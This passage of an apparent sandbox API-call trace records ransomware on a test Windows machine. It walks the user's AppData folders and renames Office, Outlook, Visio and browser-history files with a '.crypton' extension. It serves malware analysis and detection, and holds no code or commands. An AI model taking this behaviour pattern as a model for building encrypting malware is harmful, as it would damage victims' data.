ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2769040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.478] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2769040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2769040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0196.484] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf278f1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf278f1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0196.491] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf278f1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf278f1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.498] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xf27b5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf27b5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.505] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf27b5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf27b5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.513] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf27db460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf27db460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.520] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xf27db460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf27db460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.526] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xf28015c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf28015c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.532] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xf28015c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf28015c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.540] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf2827720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2827720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.544] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.crypton"), dwFlags=0x2) returned 1 [0196.552] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xf2827720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2827720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.559] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xf284d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf284d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.561] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.crypton"), dwFlags=0x2) returned 1 [0196.570] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf284d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf284d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.581] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xf28739e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf28739e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.589] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xf2899b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2899b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.649] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat.crypton"), dwFlags=0x2) returned 1 [0196.716] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat.crypton"), dwFlags=0x2) returned 1 [0196.723] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf29ca640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf29ca640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.728] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xf29f07a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf29f07a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.734] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf29f07a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf29f07a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.907] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\1033\\structuredqueryschema.bin"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\1033\\structuredqueryschema.bin.crypton"), dwFlags=0x2) returned 1 [0196.916] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2bb9820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2bb9820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.922] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2bb9820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2bb9820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.928] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2bb9820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2bb9820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.936] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0xf2bdf980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2bdf980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.941] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2bdf980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2bdf980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.946] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2c05ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2c05ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.952] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2c05ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2c05ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.956] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1c8cbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c8cbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.960] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2c05ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2c05ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.996] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.crypton"), dwFlags=0x2) returned 0 [0196.997] GetLastError () returned 0x20 [0196.997] GetLastError () returned 0x20 [0196.997] GetFileInformationByHandle (in: hFile=0x214, lpFileInformation=0x4a8c34 | out: lpFileInformation=0x4a8c34) returned 1 [0197.097] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010420200105\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x846b2570, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xf2d5c740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2d5c740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.135] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010420200105\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012020010420200105\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010420200105\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012020010420200105\\index.dat.crypton"), dwFlags=0x2) returned 0 [0197.135] GetLastError () returned 0x20 [0197.135] GetLastError () returned 0x20 [0197.141] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2dceb60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2dceb60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0197.146] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dceb60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2dceb60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.166] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat.crypton"), dwFlags=0x2) returned 1 [0197.173] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0xf2e1ae20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2e1ae20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0197.203] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat.crypton"), dwFlags=0x2) returned 1 [0197.220] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Ringtones\\*", 